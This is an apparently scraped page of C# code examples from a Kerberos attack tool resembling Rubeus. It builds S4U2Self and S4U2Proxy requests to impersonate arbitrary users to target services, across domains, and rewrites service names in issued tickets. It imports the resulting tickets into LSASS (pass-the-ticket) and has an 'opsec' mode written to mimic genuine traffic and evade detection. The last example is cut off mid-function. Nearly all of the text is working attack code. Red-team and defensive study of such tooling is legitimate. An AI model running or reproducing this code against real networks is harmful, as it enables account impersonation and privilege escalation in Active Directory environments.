Пример #1
0
        // maybe the function above can be combined with this one?
        public static byte[] NewTGSReq(string userName, string targetUser, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType, bool cross = true, string requestDomain = "")
        {
            // cross domain "S4U2Self" requests
            TGS_REQ req = new TGS_REQ(cname: false);

            // get domains
            string domain       = userName.Split('@')[1];
            string targetDomain = targetUser.Split('@')[1];

            // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc.
            PA_DATA padata = new PA_DATA(domain, userName.Split('@')[0], providedTicket, clientKey, paEType);

            req.padata.Add(padata);

            // which domain is the "local" domain for this TGS
            if (cross)
            {
                if (String.IsNullOrEmpty(requestDomain))
                {
                    requestDomain = targetDomain;
                }

                req.req_body.realm = requestDomain;
            }
            else
            {
                req.req_body.realm = domain;
            }

            // add in our encryption types
            if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial)
            {
                // normal behavior
                req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp);
                //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc);
            }
            else
            {
                // add in the supported etype specified
                req.req_body.etypes.Add(requestEType);
            }

            PA_DATA s4upadata = new PA_DATA(clientKey, targetUser, targetDomain);

            req.padata.Add(s4upadata);

            req.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE;
            req.req_body.sname.name_string.Add(userName);

            req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.FORWARDABLE;
            req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK & ~Interop.KdcOptions.RENEW;

            return(req.Encode().Encode());
        }
        private void Decode(AsnElt asn_TGS_REP)
        {
            // TGS - REP::= [APPLICATION 13] KDC - REP
            if (asn_TGS_REP.TagValue != 13)
            {
                throw new System.Exception("TGS-REP tag value should be 11");
            }

            if ((asn_TGS_REP.Sub.Length != 1) || (asn_TGS_REP.Sub[0].TagValue != 16))
            {
                throw new System.Exception("First TGS-REP sub should be a sequence");
            }

            // extract the KDC-REP out
            AsnElt[] kdc_rep = asn_TGS_REP.Sub[0].Sub;

            foreach (AsnElt s in kdc_rep)
            {
                switch (s.TagValue)
                {
                case 0:
                    pvno = s.Sub[0].GetInteger();
                    break;

                case 1:
                    msg_type = s.Sub[0].GetInteger();
                    break;

                case 2:
                    // sequence of pa-data
                    padata = new PA_DATA(s.Sub[0]);
                    break;

                case 3:
                    crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString());
                    break;

                case 4:
                    cname = new PrincipalName(s.Sub[0]);
                    break;

                case 5:
                    ticket = new Ticket(s.Sub[0].Sub[0]);
                    break;

                case 6:
                    enc_part = new EncryptedData(s.Sub[0]);
                    break;

                default:
                    break;
                }
            }
        }
Пример #3
0
        private void Decode(AsnElt asn_TGS_REP)
        {
            // TGS - REP::= [APPLICATION 13] KDC - REP
            if (asn_TGS_REP.TagValue != 13)
            {
                throw new System.Exception("TGS-REP tag value should be 11");
            }

            if ((asn_TGS_REP.Count != 1) || (asn_TGS_REP.FirstElement.TagValue != 16))
            {
                throw new System.Exception("First TGS-REP sub should be a sequence");
            }

            // extract the KDC-REP out
            foreach (AsnElt s in asn_TGS_REP.FirstElement.EnumerateElements())
            {
                AsnElt firstElement = s.FirstElement;
                switch (s.TagValue)
                {
                case 0:
                    pvno = firstElement.GetInteger();
                    break;

                case 1:
                    msg_type = firstElement.GetInteger();
                    break;

                case 2:
                    // sequence of pa-data
                    padata = new PA_DATA(firstElement);
                    break;

                case 3:
                    crealm = Encoding.ASCII.GetString(firstElement.GetOctetString());
                    break;

                case 4:
                    cname = new PrincipalName(firstElement);
                    break;

                case 5:
                    ticket = new Ticket(firstElement.FirstElement);
                    break;

                case 6:
                    enc_part = new EncryptedData(firstElement);
                    break;

                default:
                    break;
                }
            }
        }
Пример #4
0
        public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, bool renew, string s4uUser = "")
        {
            TGS_REQ req = new TGS_REQ();

            // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc.
            PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, etype);

            req.padata.Add(padata);

            // set the username
            req.req_body.cname.name_string.Add(userName);

            // the realm (domain) the user exists in
            req.req_body.realm = domain;

            if (!String.IsNullOrEmpty(s4uUser))
            {
                // constrained delegation yo'
                PA_DATA s4upadata = new PA_DATA(clientKey, String.Format("{0}@{1}", s4uUser, domain), domain);
                req.padata.Add(s4upadata);

                req.req_body.sname.name_type = 1;
                req.req_body.sname.name_string.Add(userName);

                req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY;

                req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
            }

            else
            {
                // add in our encryption type
                req.req_body.etypes.Add(etype);

                // KRB_NT_SRV_INST = 2
                //      service and other unique instance (e.g. krbtgt)
                req.req_body.sname.name_type = 2;
                req.req_body.sname.name_string.Add(sname);
                req.req_body.sname.name_string.Add(domain);

                if (renew)
                {
                    req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW;
                }
            }

            return(req.Encode().Encode());
        }
Пример #5
0
        // To request a TGS for a foreign KRBTGT, requires 2 different domains
        public static byte[] NewTGSReq(string userName, string domain, string targetDomain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType)
        {
            // foreign domain "TGT" request
            TGS_REQ req = new TGS_REQ(cname: false);

            // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc.
            PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType);

            req.padata.Add(padata);

            req.req_body.realm = domain;

            // add in our encryption types
            if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial)
            {
                // normal behavior
                req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp);
                //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc);
            }
            else
            {
                // add in the supported etype specified
                req.req_body.etypes.Add(requestEType);
            }

            PA_DATA padataoptions = new PA_DATA(false, true, false, false);

            req.padata.Add(padataoptions);

            req.req_body.sname.name_type = 2;
            req.req_body.sname.name_string.Add("krbtgt");
            req.req_body.sname.name_string.Add(targetDomain);

            req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE | Interop.KdcOptions.FORWARDABLE;
            req.req_body.kdcOptions = req.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK & ~Interop.KdcOptions.RENEW;

            return(req.Encode().Encode());
        }
Пример #6
0
        private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", KRB_CRED tgs = null, bool opsec = false, string proxyUrl = null, string createnetonly = null, bool show = false)
        {
            Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
            if (!String.IsNullOrEmpty(altService))
            {
                string[] altSnames = altService.Split(',');
                if (altSnames.Length == 1)
                {
                    Console.WriteLine("[*]   Final ticket will be for the alternate service '{0}'", altService);
                }
                else
                {
                    Console.WriteLine("[*]   Final tickets will be for the alternate services '{0}'", altService);
                }
            }

            // extract out the info needed for the TGS-REQ/S4U2Proxy execution
            string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
            string domain   = kirbi.enc_part.ticket_info[0].prealm;
            Ticket ticket   = kirbi.tickets[0];

            byte[]             clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
            Interop.KERB_ETYPE etype     = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;

            Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
            TGS_REQ s4u2proxyReq = new TGS_REQ(!opsec);

            s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION;

            s4u2proxyReq.req_body.realm = domain;

            string[] parts      = targetSPN.Split('/');
            string   serverName = parts[parts.Length - 1];

            s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST;
            foreach (string part in parts)
            {
                s4u2proxyReq.req_body.sname.name_string.Add(part);
            }

            // supported encryption types
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);

            // add in the ticket from the S4U2self response
            s4u2proxyReq.req_body.additional_tickets.Add(tgs.tickets[0]);

            // needed for authenticator checksum
            byte[] cksum_Bytes = null;

            // the rest of the opsec changes
            if (opsec)
            {
                // remove renewableok and add canonicalize
                s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK;
                s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;

                // 15 minutes in the future like genuine requests
                DateTime till = DateTime.Now;
                till = till.AddMinutes(15);
                s4u2proxyReq.req_body.till = till;

                // extra etypes
                s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp);
                s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.old_exp);

                // get hostname and hostname of SPN
                string hostName = Dns.GetHostName().ToUpper();
                string targetHostName;
                if (parts.Length > 1)
                {
                    targetHostName = parts[1].Substring(0, parts[1].IndexOf('.')).ToUpper();
                }
                else
                {
                    targetHostName = hostName;
                }

                // create enc-authorization-data if target host is not the local machine
                if (hostName != targetHostName)
                {
                    // authdata requires key and etype from tgs
                    byte[]             tgsKey   = tgs.enc_part.ticket_info[0].key.keyvalue;
                    Interop.KERB_ETYPE tgsEtype = (Interop.KERB_ETYPE)tgs.enc_part.ticket_info[0].key.keytype;

                    ADIfRelevant       ifrelevant   = new ADIfRelevant();
                    ADRestrictionEntry restrictions = new ADRestrictionEntry();
                    ADKerbLocal        kerbLocal    = new ADKerbLocal();
                    ifrelevant.ADData.Add(restrictions);
                    ifrelevant.ADData.Add(kerbLocal);
                    AsnElt authDataSeq = ifrelevant.Encode();
                    authDataSeq = AsnElt.Make(AsnElt.SEQUENCE, authDataSeq);
                    byte[] authorizationDataBytes = authDataSeq.Encode();
                    byte[] enc_authorization_data = Crypto.KerberosEncrypt(tgsEtype, Interop.KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA, tgsKey, authorizationDataBytes);
                    s4u2proxyReq.req_body.enc_authorization_data = new EncryptedData((Int32)tgsEtype, enc_authorization_data);
                }

                // encode req_body for authenticator cksum
                AsnElt req_Body_ASN    = s4u2proxyReq.req_body.Encode();
                AsnElt req_Body_ASNSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { req_Body_ASN });
                req_Body_ASNSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, req_Body_ASNSeq);
                byte[] req_Body_Bytes = req_Body_ASNSeq.CopyValue();
                cksum_Bytes = Crypto.KerberosChecksum(clientKey, req_Body_Bytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5);
            }

            // moved to end so we can have the checksum in the authenticator
            PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype, opsec, cksum_Bytes);

            s4u2proxyReq.padata.Add(padata);
            PA_DATA pac_options = new PA_DATA(false, false, false, true);

            s4u2proxyReq.padata.Add(pac_options);

            byte[] s4ubytes = s4u2proxyReq.Encode().Encode();

            byte[] response2 = null;

            if (String.IsNullOrEmpty(proxyUrl))
            {
                string dcIP = Networking.GetDCIP(domainController);
                if (String.IsNullOrEmpty(dcIP))
                {
                    return;
                }

                Console.WriteLine("[*] Sending S4U2proxy request to domain controller {0}:88", dcIP);

                response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
            }
            else
            {
                Console.WriteLine("[*] Sending S4U2proxy request via KDC proxy: {0}", proxyUrl);
                KDC_PROXY_MESSAGE message = new KDC_PROXY_MESSAGE(s4ubytes);
                message.target_domain = domain;
                response2             = Networking.MakeProxyRequest(proxyUrl, message);
            }
            if (response2 == null)
            {
                return;
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response2, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
            {
                Console.WriteLine("[+] S4U2proxy success!");

                // parse the response to an TGS-REP
                TGS_REP rep2 = new TGS_REP(responseAsn);

                // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
                byte[]        outBytes2   = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
                AsnElt        ae2         = AsnElt.Decode(outBytes2, false);
                EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);

                if (!String.IsNullOrEmpty(altService))
                {
                    string[] altSnames = altService.Split(',');

                    foreach (string altSname in altSnames)
                    {
                        // now build the final KRB-CRED structure with one or more alternate snames
                        KRB_CRED cred = new KRB_CRED();

                        // since we want an alternate sname, first substitute it into the ticket structure
                        rep2.ticket.sname.name_string[0] = altSname;

                        // add the ticket
                        cred.tickets.Add(rep2.ticket);

                        // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                        KrbCredInfo info = new KrbCredInfo();

                        // [0] add in the session key
                        info.key.keytype  = encRepPart2.key.keytype;
                        info.key.keyvalue = encRepPart2.key.keyvalue;

                        // [1] prealm (domain)
                        info.prealm = encRepPart2.realm;

                        // [2] pname (user)
                        info.pname.name_type   = rep2.cname.name_type;
                        info.pname.name_string = rep2.cname.name_string;

                        // [3] flags
                        info.flags = encRepPart2.flags;

                        // [4] authtime (not required)

                        // [5] starttime
                        info.starttime = encRepPart2.starttime;

                        // [6] endtime
                        info.endtime = encRepPart2.endtime;

                        // [7] renew-till
                        info.renew_till = encRepPart2.renew_till;

                        // [8] srealm
                        info.srealm = encRepPart2.realm;

                        // [9] sname
                        info.sname.name_type   = encRepPart2.sname.name_type;
                        info.sname.name_string = encRepPart2.sname.name_string;

                        // if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED
                        Console.WriteLine("[*] Substituting alternative service name '{0}'", altSname);
                        info.sname.name_string[0] = altSname;

                        // add the ticket_info into the cred object
                        cred.enc_part.ticket_info.Add(info);

                        byte[] kirbiBytes = cred.Encode().Encode();

                        string kirbiString = Convert.ToBase64String(kirbiBytes);

                        Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName);

                        if (Rubeus.Program.wrapTickets)
                        {
                            // display the .kirbi base64, columns of 80 chararacters
                            foreach (string line in Helpers.Split(kirbiString, 80))
                            {
                                Console.WriteLine("      {0}", line);
                            }
                        }
                        else
                        {
                            Console.WriteLine("      {0}", kirbiString);
                        }

                        if (!String.IsNullOrEmpty(outfile))
                        {
                            string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{altSname}-{serverName}{Helpers.GetExtensionFromFilename(outfile)}";
                            filename = Helpers.MakeValidFileName(filename);
                            if (Helpers.WriteBytesToFile(filename, kirbiBytes))
                            {
                                Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
                            }
                        }

                        if (ptt)
                        {
                            // pass-the-ticket -> import into LSASS
                            ImportTicket(kirbiBytes, createnetonly, show);
                        }
                    }
                }
                else
                {
                    // now build the final KRB-CRED structure, no alternate snames
                    KRB_CRED cred = new KRB_CRED();

                    // if we want an alternate sname, first substitute it into the ticket structure
                    if (!String.IsNullOrEmpty(altService))
                    {
                        rep2.ticket.sname.name_string[0] = altService;
                    }

                    // add the ticket
                    cred.tickets.Add(rep2.ticket);

                    // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                    KrbCredInfo info = new KrbCredInfo();

                    // [0] add in the session key
                    info.key.keytype  = encRepPart2.key.keytype;
                    info.key.keyvalue = encRepPart2.key.keyvalue;

                    // [1] prealm (domain)
                    info.prealm = encRepPart2.realm;

                    // [2] pname (user)
                    info.pname.name_type   = rep2.cname.name_type;
                    info.pname.name_string = rep2.cname.name_string;

                    // [3] flags
                    info.flags = encRepPart2.flags;

                    // [4] authtime (not required)

                    // [5] starttime
                    info.starttime = encRepPart2.starttime;

                    // [6] endtime
                    info.endtime = encRepPart2.endtime;

                    // [7] renew-till
                    info.renew_till = encRepPart2.renew_till;

                    // [8] srealm
                    info.srealm = encRepPart2.realm;

                    // [9] sname
                    info.sname.name_type   = encRepPart2.sname.name_type;
                    info.sname.name_string = encRepPart2.sname.name_string;

                    // add the ticket_info into the cred object
                    cred.enc_part.ticket_info.Add(info);

                    byte[] kirbiBytes = cred.Encode().Encode();

                    string kirbiString = Convert.ToBase64String(kirbiBytes);

                    Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN);

                    if (Rubeus.Program.wrapTickets)
                    {
                        // display the .kirbi base64, columns of 80 chararacters
                        foreach (string line in Helpers.Split(kirbiString, 80))
                        {
                            Console.WriteLine("      {0}", line);
                        }
                    }
                    else
                    {
                        Console.WriteLine("      {0}", kirbiString);
                    }

                    if (!String.IsNullOrEmpty(outfile))
                    {
                        string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{targetSPN}{Helpers.GetExtensionFromFilename(outfile)}";
                        filename = Helpers.MakeValidFileName(filename);
                        if (Helpers.WriteBytesToFile(filename, kirbiBytes))
                        {
                            Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename);
                        }
                    }

                    if (ptt)
                    {
                        // pass-the-ticket -> import into LSASS
                        ImportTicket(kirbiBytes, createnetonly, show);
                    }
                }
            }
            else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }
        }
Пример #7
0
        // to perform the 2 S4U2Proxy requests
        private static KRB_CRED CrossDomainS4U2Proxy(string userName, string targetUser, string targetSPN, string targetDomainController, Ticket ticket, byte[] clientKey, Interop.KERB_ETYPE etype, Interop.KERB_ETYPE requestEType, Ticket tgs = null, bool cross = true, bool ptt = false, string createnetonly = null, bool show = false)
        {
            string dcIP = Networking.GetDCIP(targetDomainController);

            if (String.IsNullOrEmpty(dcIP))
            {
                return(null);
            }

            string domain       = userName.Split('@')[1];
            string targetDomain = targetUser.Split('@')[1];

            Console.WriteLine("[*] Building S4U2proxy request for service: '{0}' on {1}", targetSPN, targetDomainController);
            TGS_REQ s4u2proxyReq = new TGS_REQ(cname: false);
            PA_DATA padata       = new PA_DATA(domain, userName.Split('@')[0], ticket, clientKey, etype);

            s4u2proxyReq.padata.Add(padata);
            PA_DATA pac_options = new PA_DATA(false, false, false, true);

            s4u2proxyReq.padata.Add(pac_options);

            s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CONSTRAINED_DELEGATION;
            s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;
            s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions & ~Interop.KdcOptions.RENEWABLEOK;

            if (cross)
            {
                s4u2proxyReq.req_body.realm = targetDomain;
            }
            else
            {
                s4u2proxyReq.req_body.realm = domain;
            }

            string[] parts      = targetSPN.Split('/');
            string   serverName = parts[parts.Length - 1];

            s4u2proxyReq.req_body.sname.name_type = Interop.PRINCIPAL_TYPE.NT_SRV_INST;
            foreach (string part in parts)
            {
                s4u2proxyReq.req_body.sname.name_string.Add(part);
            }

            // supported encryption types
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
            s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);

            // add in the ticket from the S4U2self response
            s4u2proxyReq.req_body.additional_tickets.Add(tgs);

            byte[] s4ubytes = s4u2proxyReq.Encode().Encode();

            Console.WriteLine("[*] Sending S4U2proxy request");
            byte[] response2 = Networking.SendBytes(dcIP, 88, s4ubytes);
            if (response2 == null)
            {
                return(null);
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response2, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP)
            {
                Console.WriteLine("[+] S4U2proxy success!");

                // parse the response to an TGS-REP
                TGS_REP rep2 = new TGS_REP(responseAsn);

                // https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
                byte[]        outBytes2   = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
                AsnElt        ae2         = AsnElt.Decode(outBytes2, false);
                EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);

                // now build the final KRB-CRED structure, no alternate snames
                KRB_CRED cred = new KRB_CRED();

                // add the ticket
                cred.tickets.Add(rep2.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart2.key.keytype;
                info.key.keyvalue = encRepPart2.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = encRepPart2.realm;

                // [2] pname (user)
                info.pname.name_type   = rep2.cname.name_type;
                info.pname.name_string = rep2.cname.name_string;

                // [3] flags
                info.flags = encRepPart2.flags;

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart2.starttime;

                // [6] endtime
                info.endtime = encRepPart2.endtime;

                // [7] renew-till
                info.renew_till = encRepPart2.renew_till;

                // [8] srealm
                info.srealm = encRepPart2.realm;

                // [9] sname
                info.sname.name_type   = encRepPart2.sname.name_type;
                info.sname.name_string = encRepPart2.sname.name_string;

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                string kirbiString = Convert.ToBase64String(kirbiBytes);

                Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN);

                if (Rubeus.Program.wrapTickets)
                {
                    // display the .kirbi base64, columns of 80 chararacters
                    foreach (string line in Helpers.Split(kirbiString, 80))
                    {
                        Console.WriteLine("      {0}", line);
                    }
                }
                else
                {
                    Console.WriteLine("      {0}", kirbiString);
                }
                Console.WriteLine("");

                if (ptt && cross)
                {
                    // pass-the-ticket -> import into LSASS
                    ImportTicket(kirbiBytes, createnetonly, show);
                }

                KRB_CRED kirbi = new KRB_CRED(kirbiBytes);

                return(kirbi);
            }
            else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
            }

            return(null);
        }
Пример #8
0
        public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, bool renew = false, string s4uUser = "", bool enterprise = false, bool roast = false)
        {
            TGS_REQ req = new TGS_REQ();

            // get domain from service for cross domain requests
            // if not requesting a cross domain TGT (krbtgt)
            string targetDomain = "";

            string[] parts = sname.Split('/');
            if (!(roast) && (parts.Length > 1) && (parts[0] != "krbtgt"))
            {
                targetDomain = parts[1].Substring(parts[1].IndexOf('.') + 1);
            }
            else
            {
                targetDomain = domain;
            }

            // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc.
            PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, paEType);

            req.padata.Add(padata);

            // set the username
            req.req_body.cname.name_string.Add(userName);

            // the realm (domain) the user exists in
            req.req_body.realm = targetDomain;

            // add in our encryption types
            if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial)
            {
                // normal behavior
                req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
                req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac_exp);
                //req.req_body.etypes.Add(Interop.KERB_ETYPE.des_cbc_crc);
            }
            else
            {
                // add in the supported etype specified
                req.req_body.etypes.Add(requestEType);
            }

            if (!String.IsNullOrEmpty(s4uUser))
            {
                // constrained delegation yo'
                PA_DATA s4upadata = new PA_DATA(clientKey, String.Format("{0}@{1}", s4uUser, domain), domain);
                req.padata.Add(s4upadata);

                req.req_body.sname.name_type = 1;
                req.req_body.sname.name_string.Add(userName);

                req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY;
            }

            else
            {
                if (enterprise)
                {
                    // KRB_NT-ENTERPRISE = 10
                    //      userPrincipalName
                    //      sAMAccountName
                    //      sAMAccountName@DomainNetBIOSName
                    //      sAMAccountName@DomainFQDN
                    //      DomainNetBIOSName\sAMAccountName
                    //      DomainFQDN\sAMAccountName
                    req.req_body.sname.name_type = 10;
                    req.req_body.sname.name_string.Add(sname);
                    req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE;
                }
                else if (parts.Length == 1)
                {
                    // KRB_NT_SRV_INST = 2
                    //      service and other unique instance (e.g. krbtgt)
                    req.req_body.sname.name_type = 2;
                    req.req_body.sname.name_string.Add(sname);
                    req.req_body.sname.name_string.Add(domain);
                }
                else if (parts.Length == 2)
                {
                    // KRB_NT_SRV_INST = 2
                    //      SPN (sname/server.domain.com)
                    req.req_body.sname.name_type = 2;
                    req.req_body.sname.name_string.Add(parts[0]);
                    req.req_body.sname.name_string.Add(parts[1]);
                }
                else if (parts.Length == 3)
                {
                    // KRB_NT_SRV_HST = 3
                    //      SPN (sname/server.domain.com/blah)
                    req.req_body.sname.name_type = 3;
                    req.req_body.sname.name_string.Add(parts[0]);
                    req.req_body.sname.name_string.Add(parts[1]);
                    req.req_body.sname.name_string.Add(parts[2]);
                }
                else
                {
                    Console.WriteLine("[X] Error: invalid TGS_REQ sname '{0}'", sname);
                }

                if (renew)
                {
                    req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW;
                }
            }

            return(req.Encode().Encode());
        }
Пример #9
0
        private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, string outfile, bool ptt, string domainController = "", string altService = "", Ticket tgs = null)
        {
            Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
            if (!String.IsNullOrEmpty(altService))
            {
                string[] altSnames = altService.Split(',');
                if (altSnames.Length == 1)
                {
                    Console.WriteLine("[*]   Final ticket will be for the alternate service '{0}'", altService);
                }
                else
                {
                    Console.WriteLine("[*]   Final tickets will be for the alternate services '{0}'", altService);
                }
            }

            // extract out the info needed for the TGS-REQ/S4U2Proxy execution
            string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
            string domain   = kirbi.enc_part.ticket_info[0].prealm;
            Ticket ticket   = kirbi.tickets[0];

            byte[]             clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
            Interop.KERB_ETYPE etype     = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;

            string dcIP = Networking.GetDCIP(domainController);

            if (String.IsNullOrEmpty(dcIP))
            {
                return;
            }
            Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
            TGS_REQ s4u2proxyReq = new TGS_REQ();
            PA_DATA padata       = new PA_DATA(domain, userName, ticket, clientKey, etype);

            s4u2proxyReq.padata.Add(padata);
            PA_DATA pac_options = new PA_DATA(false, false, false, true);

            s4u2proxyReq.padata.Add(pac_options);

            s4u2proxyReq.req_body.kdcOptions = s4u2proxyReq.req_body.kdcOptions | Interop.KdcOptions.CNAMEINADDLTKT;

            s4u2proxyReq.req_body.realm = domain;

            string[] parts      = targetSPN.Split('/');
            string   serverName = parts[parts.Length - 1];

            s4u2proxyReq.req_body.sname.name_type = 2;
            foreach (string part in parts)
            {
                s4u2proxyReq.req_body.sname.name_string.Add(part);
            }

            // supported encryption types
